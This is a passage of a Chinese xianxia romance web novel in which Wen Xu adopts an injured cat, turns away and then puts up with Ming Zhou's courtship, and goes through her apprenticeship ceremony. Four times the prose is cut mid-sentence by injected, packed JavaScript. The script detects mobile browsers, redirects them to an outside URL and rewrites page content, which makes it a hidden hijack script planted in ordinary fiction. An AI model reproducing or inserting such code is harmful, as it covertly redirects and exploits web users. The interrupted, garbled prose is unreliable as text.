闻絮蹲下来摸摸它的脑袋,它察觉到闻絮没有恶意,身子挪着向闻絮靠近,毛茸茸的脑袋在闻絮脚边蹭了蹭。 因为受伤的缘故,她原本翘起的尾巴无力地耷拉在地上。 眼睛里似有水汽,雾蒙蒙地看着闻絮。 闻絮是很喜欢小猫的,只是曾经的自己居无定所,连自己都养活不了,何谈一只小猫呢? 她向眼前的小猫伸出手,猫咪把脑袋放在闻絮说手掌心,闻絮借力将它的身子托起,放在了自己胳膊上。 她向四周看了看,没有人来寻猫,这里离各个峰的距离都不远,一时也判断不出来它是从哪里来的。 闻絮看着小猫被划破的脚掌,还是处理伤口要紧,就先带回掌经殿吧。 但她现在面临一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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闻絮微笑,又重复了一遍,“沿着这条路继续走,路的左边有一个岔路口,在岔路口向右第二个转弯走到头就是了。对吗,师兄?” 完颜丰看着闻絮微笑的表情,露出一个略显尴尬的表情,“都记住了啊,记性真好。” “师兄,我可以走了吗?” 完颜丰如同捣蒜一般点头,“师妹你慢走。” 闻絮抱着猫咪按着完颜丰说的方向回去了,路上也碰到了不少弟子,但也没有人再上前和她搭话。 闻絮在这里不认识其他人,只能抱着猫咪去找襄兰。 襄兰从闻絮的手里接过猫咪,查看了它前腿的伤势。 “伤得不算很严重,皮肉有些受损,筋骨暂时没有问题。” 襄兰又拿了一些药给闻絮,人用和兽用的药还是不太一样,不能混在一起用。 襄兰又仔细看了一眼小猫的模样,没有想起来这到底是谁养的。 只是能从它的伤口看出来是被剑所伤,应当是在旁边睡觉的时候不小心被练剑的弟子所伤。 同时襄兰也叮嘱闻絮,闻絮的身份玉牌还没做好,有些人暂时也不了解她的身份,在天照宗行走一定要小心,不要被一些鲁莽的弟子所伤。 闻絮点点头,抱着猫咪回到了自己的房间。 16. 那日的事情你不用当真 替猫咪包扎好伤口,闻絮把它放在了桌上,猫咪有些累了,顺势趴在桌上,把四肢都放平。 闻絮用手指点了点它的脑袋,“你叫什么名字,我难道要猫咪猫咪这样叫你吗?” 可惜猫咪不会说话,不能回答闻絮的问题。 不过闻絮也不需要它回答,有一只小猫在,总好过于自己一个人闷在屋里。 “我叫你青青好不好?你不说话我就当你是答应了。” “喵。” 一声低低的叫声从猫咪嘴里传来,“你是不满意这个名字吗?” 然后闻絮看到猫咪艰难地动了动脑袋,这动作仿佛就是在点头。 “那就换一个名字好了,你的一身毛色都是白色的,叫小白呢?这个名字喜欢吗?” 这次没有猫叫的声音了,闻絮心想,这次没有再叫,应该就是满意的意思了。 “小白,这几天你就和我在一起养伤好了,等到你的腿好了,我再把你放回原来的地方,不然你原来得主人也会着急的。” 时间过得很快,一转眼就到第二日清晨了,今天与以往不同,闻絮是被满嘴的猫毛弄醒的。 昨晚小白是和她在一个被子里睡的,她把枕头空出来一半,让小白枕在一边。 但小白半夜睡觉十分不安稳,在床铺上滚来滚去,最后还是躺在闻絮的胸口才睡着。 早上天才刚刚微亮的时候,它就已经按耐不住性子了。 它的爪子拉扯着闻絮衣服的领口,闻絮睁开惺忪的睡眼,看着一直软乎乎的小猫在自己脸庞,一种从未有过的幸福涌上心头。 闻絮掀开被子,房间里还是暖暖的,她披上外衣抱着小猫,到桌前喝了一杯水。 凳子还没坐热,她听到了一阵急促的响声。 不是从门口传来的,而是从窗户传进来的。 闻絮急忙三两下把衣服穿好,没来得及开窗,一把剑的剑锋已经伸入了自己的窗户下,大有要挑开窗户的意思。 闻絮一惊,这里是天照宗,掌经殿的位置已经是山中相对靠里了,有什么人可以擅自闯入? 闻絮侧身躲在窗户后,把小猫放在地上,自己拔出寒光开启戒备的状态。 但窗外的人没有再动作了,又等了三秒钟,闻絮听到窗外人的声音。 “闻絮师妹,你起床了吗?你要是起床了就应一声,师兄就进来了。” “你是谁?” 听到闻絮的回答,展皓知道她已经起了,剑锋用力拨开窗户,身子随着用力跳了进去。 他进了屋子,对着闻絮露出一个抱歉的微笑,“师妹,真是不好意思了,师兄也是没办法了,襄兰长老不让青竹峰的人来看你,我也是没办法,才只能走窗户了。” 闻絮离展皓差不多两步远的距离,眼神还是有些不放心,“敢问这位师兄,你叫什么名字?你的身份玉牌又在哪里?” “差点忘了这个。”展皓拿出自己的身份玉牌递给闻絮看。 没错,确实是天照宗弟子的玉牌,没问题。 上面写了他是三掌门景原的二弟子——展皓,大概又是自己那个未来的师父派人来的。 展皓喜滋滋拿回自己的玉牌,“师妹,这下相信了吧,我是你未来的二师兄,师父特地派我来看你的。” “刚刚是闻絮无礼了,师兄莫怪。” 展皓表示不在意这些,“师妹,一家人别说两家话。” “对了,玉茵师妹还让我问你,她昨天做的猪蹄你都吃完了吗?” 闻絮点头,“还没谢谢师姐,我都吃完了,今天感觉我的伤已经好多了。” 展皓坐着听闻絮讲话,但是感觉自己的脚下逐渐湿润了。 “师妹,你这桌子是不是漏水,我怎么感觉我的鞋湿了?” 展皓一把撩开桌子的桌布,自己的脚尖还湿了一小块。 他俯下身子继续看,想看看具体是哪里在漏水。 随后,一只小猫扑上来盖在了他的脸上。 展皓一时没注意,被小白扑在脸上,一屁股坐在地上。 闻絮也吓了一跳,急忙想要拉开小白。 但是小白不知怎的,几条腿很是有力,任闻絮怎么扒拉也不动。 闻絮也不敢太使劲,怕碰到小白还没好的伤口。 闻絮也没办法了,只能先扶着展皓的胳膊把他拉起来。 闻絮尴尬地赔笑,“对不住师兄,这是我昨日捡的小猫叫小白,我还没训练好它,吓着你了。” 展皓依旧爽朗一笑,“没事,没事,一只小猫而已。” 小白四肢爪子紧紧抱着展皓的脖子,粉粉的舌头伸出来舔着展皓的脸。 它热热的呼吸喷在展皓脖子和脸上,弄得他很痒。 “师妹,你这小白能不能先让它下去,我这有点呼吸困难了。” 闻絮再次用力,还是拿不下来,最后她狠下心,掐了一下小白的屁股,小白腾出两只爪子摸屁股,被闻絮得了手,死死按在怀里。 呼吸得到解救,展皓大喘了一口气,他想起了自己这次的主要任务。 他带着玉茵今天刚刚做好的猪肝汤,“玉茵说了,这个汤喝了补血,叫你一定都喝完。” 闻絮看着盒子里那个像脸盆一样大的碗,“玉茵师姐是不是做得太多了点?” “这不算什么,你玉茵师姐胃口比这大多了,她还说了,你太守了,一定要都喝了补补营养。她今日有事,明日再来看你。” 依旧是和玉茵一样期盼的眼神,闻絮端起盆来,咕噜咕噜喝了一半。 刚放下盆又看到展皓的眼神,她的手放不下去了,干脆闭着眼睛一口气全都喝光了。 展皓开心地笑了,“喝完了就好,不打扰你了,师妹,你好好休息,师兄改日过来看你。” 闻絮又目送展皓从窗户跳走了。 她不禁感叹:她这位景原师父收的徒弟还真是不一般啊。 第三天早上,闻絮又是经历着一样的剧情,又被小白的爪子挠醒,再次掀开被子下床。 喝了一杯水之后,闻絮穿好了自己的衣服。 果不其然,又响起了敲门声。 闻絮心里还在想,今天来的会是谁? 打开门看到的却是头上带着微微薄汗的明舟,她有些诧异,明舟怎么来了。 “你怎么来了?” 闻絮侧身,让明舟进屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416406|200783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 明舟身上还带着清晨的露珠,一身的水汽,汗湿的头发进了闻絮温暖的屋子很快被蒸干。 明舟向闻絮解释着,“这两日师父一直很严格,我的时间都用来练剑了,一直没有时间来看你。还没有问你,你的伤怎么样了?” 明舟不像闻絮别的师兄师姐一样,她不需要刻意绷着去回答。 “恢复得很好,前两日师兄师姐来看我,带了不少补品。” 闻絮说不出自己对待明舟是什么态度。 之前是想杀了他,但还是发现自己下不去手。 该死的是这个剧本,不是他。 既然不杀他,闻絮也想不到什么理由来和他接触,那她想就自然而然远离好了。 但她现在隐隐约约觉得明舟对自己有些过于殷勤。 在来天照宗的路上,明舟对自己就是多加照拂。 到了天照宗也依然是三天两头就跑来送药,嘘寒问暖的。 闻絮看着他头上的汗,“你刚刚干什么去了?怎么一头的汗?” 明舟拿出带着的一包热乎乎的糕点,“我偷偷下了山一趟,又跑上来的。这是杏仁酥,最近门内的弟子都在抢着买,我想,你不出门吃不到,特地起早替你买的。” 闻絮看着那包糕点心绪复杂,天照宗那么多的石阶,下去又上来,糕点还是热的,怪不得他脸发丝都在滴汗。 明舟继续说着,“这两日我日日都练到深夜,而且不知道是不是没休息好,我的手掌还隐隐作痛。” 闻絮听着这话的语气不对劲,这好像不是一个陈述句。 她又学着明舟的语气,把他的话在脑海里重复了一遍,再次确认这不是一个陈述句。 反倒像是一句撒娇。 闻絮一时哽住,剧情是不是有点不太对劲。 闻絮思索了半天,那句“你是不是喜欢我”,话到了嘴边又没说出口。 怎么说感觉怎么别扭,她穿越以前虽然没谈过恋爱,但是不代表她是傻子。 以前也有别的男生向她示好,送吃的,送穿的,各种礼物。 那明舟呢,也喜欢自己吗?是因为什么呢,是不是误会了什么? 闻絮握着糕点陷入自己的回忆当中,明舟拿手指在她眼前晃了晃,“闻絮,你怎么了?记得要趁热吃。” 闻絮回过神来,没头没尾来了一句,“我们那日的成婚不做数的,是假的,你不用当真的。” 明舟因为喘气微红的脸颊一瞬间失去颜色,他的呼吸有一瞬间的停滞。 空气仿佛被冻住了,不然他怎么感觉自己不能呼吸了。 闻絮看他的反应,知道他是误会了,又把糕点塞回他的手里,“是我不好,那日行事过于鲁莽,也没有和你说清楚。那日就是演戏,不是真的,你不需要再对我这么好了,但还是感谢这些日子你对我的照顾。” 她以为这些修仙的人都很豁达的,情急之下做的选择应该都不会当真。 但是她忘记了明舟还是一个纯情少男。 明舟的内心世界崩塌了,那日他确实被闻絮说要成婚的话惊呆了。 但不知怎么,他鬼使神差地同意了,而且还当真了。 17. 你要学着欲擒故纵 这两日他忙着练功,没有时间来看闻絮,昨晚还愧疚了一晚。 今天他特地起了一个大早,想来看看闻絮,顺便给她带上新买的糕点。 结果闻絮没有收,还告诉自己之前的事情都是一个误会。 明舟的脸很快就又红了,这次不仅是脸了,一直还红到了耳朵根。 他又是惊讶,又是羞愤,半天说不出一句话来。 还是闻絮又接着说,“那天的事情错在我,你想想看你想要什么补偿吗?如果我能做到的一定尽力补给你。” 门外偷听的完颜丰下巴都要惊掉了,他是跟踪着明舟一路来的。 他听说明舟是掌门新收的弟子,一直想找他比试比试。 他也是一大早就出门去堵明舟,但明舟比他起得还早,他绕了一大圈才找到从山下回来的明舟。 他正好看到明舟手里拿着刚买的杏仁酥,自己想吃很久了,找明舟切磋切磋,顺手再吃两块杏仁酥就好了。 但明舟一直在走,到了后面甚至开始小跑,很着急的模样。 他一时好奇,就跟着一起过来了。 完颜丰只听到了最后一句,眼睛都瞪大了,他是听到了什么惊天秘密吗? 这个闻絮师妹看起来一副清冷的模样,背地里居然占美色少男的便宜吗? 他们两个居然是那种关系吗? 他不由抱紧了自己的身体,出门在外,男孩子一定要保护好自己。 明舟在屋内继续沉默,他感觉闻絮的屋子越来越热了。 最后他鼓起勇气,抬头看着闻絮,“不是你的错,我自己也同意的。不要你的赔偿。” 他又把那包杏仁酥放在闻絮手里,“不管怎么样,我特意给你买的,你要收下,你身体还有伤,多吃点有助于身体恢复。” 闻絮内心:这些天这些人一直送吃的过来,照这样吃下去,她没两天就要胖成球了。 她看着明舟破碎的眼神,有一种被抛弃的良家妇男的感觉,一时间拒绝的话也说不出口了。 自己其实也没干什么,怎么感觉自己干了什么伤天害理的事情啊! “这样吧,东西我留下,一共多少钱,我付给你。” 这句话说完,闻絮感觉明舟的眼神更加暗淡了。 “我不要。”明舟倔强的声音传来。 “你好好养伤,马上要晨练了,我改日再来找你。” 明舟不等闻絮的回答,留下这句话一溜烟跑走了。 闻絮:不是已经说清了吗?怎么还有改日的事情? 听到后续的完颜丰更加震惊:这个明舟脑子是有病吗?被人占了便宜就算了,不要补偿还上赶着倒贴! 他怕被闻絮发现,放轻了脚步追着明舟走了。 他可要问问两人之间都发生什么了。 明舟不知道自己跑了多久才停下,呼吸到室外新鲜的空气,他才感觉到自己还有呼吸。 他刚刚情急之下,告诉闻絮改日再来见她。 现在不免又有点后悔,他改日再去又能说什么呢? 说自己其实喜欢她,不想把那场婚事作废吗? 闻絮摆明了对自己没有那方面的意思,胡搅蛮缠的话要是她以后都不理自己怎么办? 明舟还在原地黯然神伤,后面的完颜丰已经追上来了。 他看到明舟耷拉着脑袋,过去拍了拍他的肩膀,“嘿,还伤心呢?” 明舟心情不好,动作比较缓慢,一举一动中都能看出他的沮丧。 “是你啊,完颜师兄。” 完颜丰看他这股颓废的劲儿,本来还要切磋来着,现在他这副样子,自己赢了也是胜之不武。 他搂紧了明舟的胳膊,“师兄也不问你发生了什么啊,其实我呢,刚刚也听到了不少,但是吧,我不是故意偷听的。但是,师兄对男女这点事还是比较精通的,我可以教你一点有用的东西。” 明舟耷拉着的脑袋忽然抬起,“师兄,你有什么办法吗?” 完颜丰神秘地凑在明舟耳边,讲述自己的独家秘诀,“俗话说得好嘛,烈女怕缠郎,但也不能一直缠,她对你的态度还不算恶劣,你只需要……” 明舟听了完颜丰的建议,有些怀疑,“师兄,这样真的可以吗?” “没事,我会帮你的。但是你得再给我也买一份杏仁酥,不能重色轻友,知道吗?” 明舟迅速点头,“我知道了师兄,我现在就去。” 完颜丰看着又屁颠屁颠跑去买杏仁酥的明舟,心下一阵满意。 宁拆十座庙,不毁一桩婚,自己帮这两人在一起,也算是功德一件了。 完颜丰告诉明舟,这追人必须讲究方法,也不能一味的纠缠。 他说明舟就是来得过于频繁了些,这些天让明舟先按兵不动,晾闻絮两天,到时候她自然想得到明舟的好。 明舟听了完颜丰的策略,一直忍着没有去见闻絮。 …… 闻絮这边,等了几天明舟一直没有来,她就当这个事情已经过去了。 误会说开了,他不来才是正常的。 这几天往来掌经殿的人太多,成功引起了襄兰的注意。 景原安排过来看闻絮的弟子也都一一被拦下,他也只能静静等着闻絮养伤了。 没有人来打扰的日子,闻絮就独自练习用灵力视物,练累了就和小白玩一会儿。 小白的伤好得很快,抱它回来的第三天它就可以自如地行走了。 闻絮虽然有些舍不得,但还是抱着小白回到捡到它的地方,但等了一天,还是没有人来找。 而且小白已经习惯了闻絮的怀抱,也不去找自己原来的主人。 闻絮要放下它走的时候就咬着闻絮的裙角,不让她离开。 闻絮没办法,又问了问襄兰,天照宗的山上灵气十足,天地间自然孕育一些灵兽也是常有的事情。 小白大概是一只没有主人的灵猫。 闻絮的心理压力没有了,小白没有主人的话,那她就抱回去自己养了。 闻絮每天吃着大把的补药,再加上年轻身体好,伤口恢复得很快,没过几天,手上缠着的白布已经拆掉了。 被寒光割伤的地方现在有一条暗红色的血痂,明舟之前送的药很有用,疤痕只有细细一条,像他原来说的那样,和闻絮手上原有的地纹连在一起了。 闻絮摩挲着自己的手心,盯着疤痕看了好久,直到小白一爪子拍在她的手心,她吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚刚不知道自己在想什么,居然把自己的名字写错了。 意识到这一点的时候,她又忘记收住手上的力气,玉牌从中间裂开了。 她看着碎成两片的玉牌,抿了抿嘴角,看来基本功还是不到位,明日要刻苦练习了。 闻絮又刻苦练习了两日,这两日她几乎看遍了能看的东西。 小白尾巴摆动的弧度,屋内床幔飘起的高度,烛火摇曳时的形状,溪水从石缝中流出的瞬间,她一人一猫,一看就是半天。 闻絮就静静着,直到自己可以完全看清这些东西为止。 光看还不够,她还在继续练习用灵力取物。 先从最小的一个茶杯开始,再到一本书,一个花瓶,一个烛台。 练习的时候,闻絮的屋内总是霹雳乓浪一阵响,但不管闻絮弄坏了什么东西,襄兰总是能派人及时补上。 闻絮狠狠练习了几日,顶着两个熊猫眼,终于在拜师礼之前在玉牌上刻好了自己的名字。 18. 拜师礼 这次的拜师礼只有闻絮一人。 景原不肯再退让,闻絮已经住在掌经殿了,拜师仪式必须在自己的青竹峰举行。 景原把地点选在了峰后的竹林小院里,每个弟子入门拜师都要在这里举行拜师仪式。 正中间的屋子内摆着两张宽大的椅子,景原和襄兰分坐两端。 两人斗气一般,背过头谁也不肯看谁。 闻絮在其他弟子的引领下,在小院的门口读完了一百九十九条门规。 “门规需要熟记在心,连犯三条门规者,即刻逐出天照宗。” 带头的弟子手里拿着一炷点燃的香,烟雾顺着闻絮的头发流经她的全身。 今日闻絮穿着一身浅青色门服,整个人显得英姿飒爽。 她在两位师父的注视下,沿着小路走入了屋内。 走到两人身前,闻絮掀起身前的衣摆,恭敬地跪在两位师父面前。 她对于这两位师父的态度很是尊敬,和季空山那种道貌岸然,坑害弟子的师父不同。 襄兰把闻絮当成自己的孩子一般疼爱,景原虽然性格怪异了点,这些天没有亲自来过,但是门下的弟子来过五六次,每次也都是带着满满的宝物来的。 不管他们是不是因为自己手里的寒光才对自己如此之好,闻絮是一个知恩图报的人,既然受人托举,就要偿还恩情。 自己会努力做好他们的弟子,不辜负两位师父的期望。 闻絮接过拜师茶,抬起头要敬时,有些犯难,面前有两位师父,先给哪一位呢? 两位师父此时弯下身子,都笑眯眯伸出手要接闻絮得茶。 闻絮的茶一时送不出去,她想了想,一只手拿稳茶盏,另一只手又拿起另一盏,同时送到二人面前。 “请师父喝茶。” 既然不能厚此薄彼,那就端水吧,一碗水端平总是没错的。 两位师父喝了闻絮的茶,一人执起闻絮的一只手,把她扶了起来。 喝了拜师茶,就该到师父送徒弟礼物的环节了。 襄兰拿出来的是一枚水滴形的护心镜,青铜色的镜面光亮,背面刻着一头麒麟。 “我们相修,做的是窥探天命的事情,但最怕自己道心不稳,反受其害。这枚护心镜,既可以用来帮你抵挡一些致命的伤害,也可以在你迷茫时让你镇定心神。” 闻絮双手接过护心镜,“多谢师傅赐礼,徒儿谨记师父教诲。” 景原凑过来看了一眼,确实是好东西,但是自己要送的也不差。 他拿出来的是一副水墨剑图,卷轴展开之后,云海翻滚之间,数柄姿态各异的剑隐匿在其中。 水墨画的笔触大气恢宏,卷纸已经泛黄,但仍然可以看到一些崭新的笔触,显然是最近新添上去的。 景原把卷轴递给闻絮,嘱咐道,“剑招是形,剑意是神。我教得了你剑招,但剑意还是要你自己去体会。这一副云海剑图就赐予你,希望你早日从中领会到属于你的剑意。” 闻絮再次接下,“谢师父赐图,弟子谨记师父教诲。” 拜师礼已成,闻絮被景原的弟子拉着去参观青竹峰了,襄兰和景原话不投机,自行离开了。 玉茵早早就等在一边了,青竹峰只有她一个女弟子,终于她盼星星盼月亮把闻絮盼来了。 “闻絮!” 她上前拉着闻絮的手,带着闻絮去参观给她留的房间。 虽然景原答应了让闻絮住在掌经殿,但是练剑总有累的时候,孩子累了不能没有住的地方。 这是玉茵特地恳求景原的,让闻絮的房间挨着自己。 房间被打扫得很干净,枕头被褥整齐摆放在床上,桌案上摆满了各式各样的书籍,还有几盘点心。 “怎么样,喜欢吗?” 闻絮眼睛不眨地看着玉茵的布置,“我很喜欢,谢谢师姐。” 闻絮拿出一个小巧的玉葫芦,“玉茵师姐,这是我拿玉牌做的一个玉葫芦,送给你。” 玉茵开心地接过,脸上的表情更加轻快,“师妹你的手还没好,一定废了不少心思,我很喜欢。” 玉茵把玩过后,把玉葫芦系在了自己腰间,随着她的步子走动,葫芦碰撞发出清脆的声音。 玉茵和其他师兄又拉着闻絮说了好一会儿话,他们又留了闻絮吃饭,等到闻絮回到掌经殿的时候,夕阳已经落下了。 闻絮看着夕阳下自己的影子,踩着自己的影子一步一步回去了。 门前一个坐着的人影吸引了她的目光,是很多天没见的明舟。 他一个人坐在门前,小白静静睡在他的脚边,一片宁静而又祥和。 明舟看到闻絮停下了步子,露出往日温柔的笑容,“你回来了。刚刚我在路上碰到这只小猫,听其他弟子说这是你养的灵兽,我就帮忙带回来了。” 闻絮以为拜师典礼很快可以结束,没有带着小白。 大概是小白觉得无聊,自己跑出去了。 闻絮蹲下身子抱起小白,“谢谢你送小白回来,它平日爱热闹,今日可能有些不习惯。” 明舟点了点头,但是步子没有挪开,还是站在闻絮身前。 闻絮看着他略显扭捏的神情,“你还有事吗?” 明舟:“我知道今天是你的拜师礼,从今以后,我们两个就都是天照宗的弟子了。我给你带了一份礼物。” 明舟拿出一个瓶子,解释道,“这是完颜师兄送我的固元丹,两日一粒,有助于你的修炼。” 无功不受禄,她已经收了明舟太多礼物了。 看来是上次还没有说清。 闻絮刚想开口拒绝,但是明舟没有给她机会,“这是同门之间的礼物而已,我们虽然不是夫妻关系了,但是还是朋友,对吧?” 闻絮看着他热切的眼神,很快做出了回答,“对,我们还是朋友。” 明舟的瞳孔有一瞬间的发亮,“好,那朋友的礼物你不能不收。” 说完他就把瓶子塞在了闻絮手中。 “我前些日子也行了拜师礼,我刚入门,没有朋友送我礼物。那你作为我的朋友,可以送我礼物吗?” 明舟这次说完话没有低下头,而是直视着闻絮的眼睛。 闻絮也没有闪躲,直视着他,“你想要什么礼物?” “我很羡慕三掌门的剑法,你每日练习之后可以给我演示一遍吗?” “就这么简单吗?” 明舟重重点了点头。 “好,没有问题,白天我要跟着两位师父一起上课。那每日傍晚怎么样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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闻絮听到声音,腰身用力后弯,头一仰,躲过石子的同时扎着马步的腿纹丝不动。 “扎马步也是要用心的,感受你身体细微的变化,不要三心二意。” “是,师父。” 景原又给自己倒了一杯茶,晒着太阳慢悠悠地走入竹林,和其他弟子一一比试了一通。 等他把所有人都打趴在地上回来的时候,桌子上的茶还在冒着热气。 趴在地上的人也不敢多躺,迅速起身,“多谢师傅赐教。” 日头逐渐升起,正对着闻絮的上方,她的小脸整个暴露在阳光下,她的额头上已经布满了汗滴。 汗水顺着额头的弧度流下,沾湿了她的睫毛,打湿了她的头发。 闻絮现在已经感觉不到自己的双腿了,起初还有些酸软,现在只剩下胀胀的感觉。 景原闭目养神的眼睛睁开,“行了,今天就先练到这里吧。” 得到景原的发话,闻絮艰难地动了动双腿和胳膊,这些好像已经不是她自己的身体了。 她瘫坐在地上,低头沉沉地呼吸着。 19. 听够了吗 玉茵在一旁看着景原离去之后才敢过来,她拿手里的帕子擦着闻絮额头的汗,“累坏了吧,师父就是这样,我们每个人入门的时候都被师父狠狠鞭挞了一番。” 玉茵搀起闻絮的胳膊,扶她在石凳上坐着,闻絮拿茶杯在嘴里灌着水。 晒了一个上午,她感觉自己要脱水了。 等闻絮喝完水,玉茵站在她身前,弯下身子,“来吧,师妹,我背你回房间休息。” 闻絮受宠若惊,“怎么好劳烦师姐,师姐也练了一上午,很是劳累了,我自己走回去就可以了。” 玉茵回头向闻絮眨了眨眼,“你这么瘦,有什么好累的,快点上来。” 闻絮推脱不过,趴上了玉茵的背,玉茵步子很稳,闻絮没有感受到颠簸。 她把闻絮送回房间,又替闻絮打了一份饭,让闻絮好好休息。 闻絮端起饭碗,饭菜送入嘴里的时候,一滴晶莹的水光落下,闻絮以为是汗水,后来眼前一片模糊,才发现原来是泪水。 泪水轻盈,滴滴落在地面上,她吸了吸鼻子,擦去眼角的泪滴。 … 闻絮在青竹峰简单休息了一会儿,她没有睡着,一会儿还要回掌经殿,不能误了时候。 正午正是日头毒的时候,天照宗除了守山的人以外都在房中休息,闻絮独自一人穿梭在小路上。 路过二师兄展皓的房间时,她感受到了小白的气息。 闻絮疑惑,自己不是把小白带给襄兰照顾了吗?怎么现在会出现在这里? 展皓的门没有关上,一扇虚掩着,另一扇直接大敞着。 二师兄展皓躺在床上,双手拿着一本书举过头顶,正在饶有兴味地看着。 闻絮不好直接打扰,在门口敲了敲门。 展皓忙着看书,随口回了一句,“谁啊,进来吧。” 闻絮得到回应,推开门走了进去。 “闻絮啊,怎么现在来了?是师父找我有事吗?” 闻絮说明了自己的来意,展皓迅速在自己房里浏览了一遍,没有看到小白的踪影。 “师妹,你是不是感觉错了,我这里没有你的灵兽啊?” 闻絮感觉不对,刚刚自己分明感受到了小白的气息。 它不在地面,那就是在…屋顶。 闻絮猛地抬头一看,小白趴在房间的屋脊上。 闻絮无奈,小白居然真的在展皓的房间里。 展皓是有什么魔力吗?小白怎么一直缠在他身边。 闻絮向小白伸出手,小白乖乖听话,跳入闻絮怀中,最后还是不忘探出头舔了展皓一口。 展皓擦擦脸上的口水,“絮啊,你这灵猫是不是太热情了点?” “对不住,展皓师兄,我一定把它带回去好好管教,不让它乱跑了。” “呜呜呜。”怀里的小猫发出呜咽声,一副受了很大委屈的样子。 展皓看着小白的模样,有些心软,“没事,我没记错的话,你下午还要去掌经殿上襄兰长老的课,你这只灵猫和我这么亲近,不如留在我这里,我替你照顾着。” “方便吗师兄?” “这有什么不方便的,你放心去就好了。” 闻絮把小白交接给展皓,小白一点也不认生,一把钻进展皓怀里。 一人一猫目送着闻絮离开。 下午的课就比较简单了,襄兰带着闻絮先学理论知识,闻絮脑子好,记得快,下课时间比襄兰预想得还早。 “今天先记这么多,你也累了一天了,回去休息吧。” 闻絮离开上课的地方,也没有回自己的房间。 她先去展皓那里把猫接回来,又早早等在假山后面。 今天是她答应教明舟的第一天,不能迟到。 但等了很久,都没有等到明舟。 闻絮耐着性子,等了半个时辰左右,小白都已经有些困了,明舟还是没有到。 闻絮心想,明舟大概是忘了这件事了。 但心中有些气不过,自己在这里等了半个时辰。 她想去找明舟算账,但又想起他前些日子送的礼物,算了,不去找他了,就当从来没约定过这回事。 不用教他,自己还能省点时间来休息。 那边被完颜丰死死按住的明舟急得要跺脚了,“完颜师兄,你放开我,我和闻絮约好了晚上要一起练剑的。” 完颜丰双臂环绕着明舟,不让他动弹。 “我跟你讲,不许走,你不能这么上赶着,先让她等等你,你等会儿再去。” 完颜丰一直拖了明舟半个时辰,明舟急得快要哭了,“师兄,我可以走了吗?” 完颜丰看了看时间,掐算得刚刚好,“去吧去吧,看你猴急那样。” 明舟脚下生风,飞快地向假山跑去。 完颜丰不紧不慢地跟在后面,等他和明舟一起赶到,假山后面早已空无一人。 明舟彻底心如死灰了,闻絮已经走了,她肯定生气了。 完颜丰有些心虚,他可是听说闻絮这姑娘扎了一上午的马步都没动一下,现在只是等了区区半个时辰就没有耐心了。 他安慰明舟道:“没事,没事,兴许她还没来呢,你现在走了,一会儿不就和她错过了。” 明舟的心又死灰复燃,这次他说什么也要等到闻絮。 两人等到天黑都没等到闻絮,完颜丰哈欠连天,打着瞌睡,“明舟啊,我们回去吧,这么晚了她肯定不会再来了。” 明舟气恼地甩开他的手,“完蛋了,她肯定是已经来过了,她答应的话不会食言的。我要去找她解释。” 不等完颜丰拉着明舟,明舟已经跑走了。 闻絮屋内的灯还亮着,明舟走到她门前,却始终不敢敲门。 还是闻絮在关窗户的时候看到了他。 闻絮冷漠地看着明舟,“你怎么又来了?” “对不起,我今天不是故意迟到的。” 闻絮双手抱起胳膊,“不用道歉了,我们的约定不作数了,今天等你的那半个时辰,就当做是你的赔礼了。” 闻絮说罢就要关窗,明舟把手放在窗棱之上,扼住她的动作。 闻絮这下真的生气了,“放开。” 明舟不肯放,闻絮用力一关,她以为明舟会收手,但是没想到明舟真的没躲。 闻絮力气很大,明舟的手指上出现了一道粗粗的红印。 “你干什么?你的手不要了吗?” 明舟倔强地不肯收起手,“我答应了你的事情没有做到,是我不好,但我不想骗你,我,我喜欢你,但不想你太烦我,我听了别的师兄教我的话,所以迟到了。” 闻絮紧握着窗户的手忽然一松,“你为什么喜欢我?” 明舟没想到闻絮会这么反问,“那天你在青丝垂的楼上紧紧握着我的手,那个时候我心跳很快,大概就是那个时候。来天照宗的路上,我也慢慢发现你的聪明,坚强,这些我都喜欢。” 闻絮想到自己在青丝垂救了明舟,明舟也因为这个喜欢自己。 原文里女主无意中救了男主,也因此成了男主的白月光。 那这样想来,明舟喜欢自己大概还是按照原书的剧情。 这样一想,闻絮看明舟的神情就带上了怜悯,可怜他连自己的感情都不能自己控制。 “我知道了,但是我不喜欢你,也不讨厌你,我对于你的感 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闻絮不欲多做停留,起身要走,“那你自己再练练,我要回去复习功课了。” 明舟不敢挽留,只是问闻絮:“那明日这个时候我还在这里等你。” 闻絮不觉有什么,应下,“好。” …… 日子过得飞快,夏日的暑气散去,秋天也在日复一日的练习中过去,马上迎来了寒冷的冬天。 天照宗地势独特,高耸入云,到了冬日比一般的山要冷。 初雪的第一天,闻絮听玉茵带来了一个消息,玉清山的掌门季空山死了,和他一起死的还有他的大弟子季清澜。 这个消息一出,震惊了各大宗门。 玉清山不算是小宗门,平时大权都握在季空山手里,他一死,玉清山内部就乱成一团了。 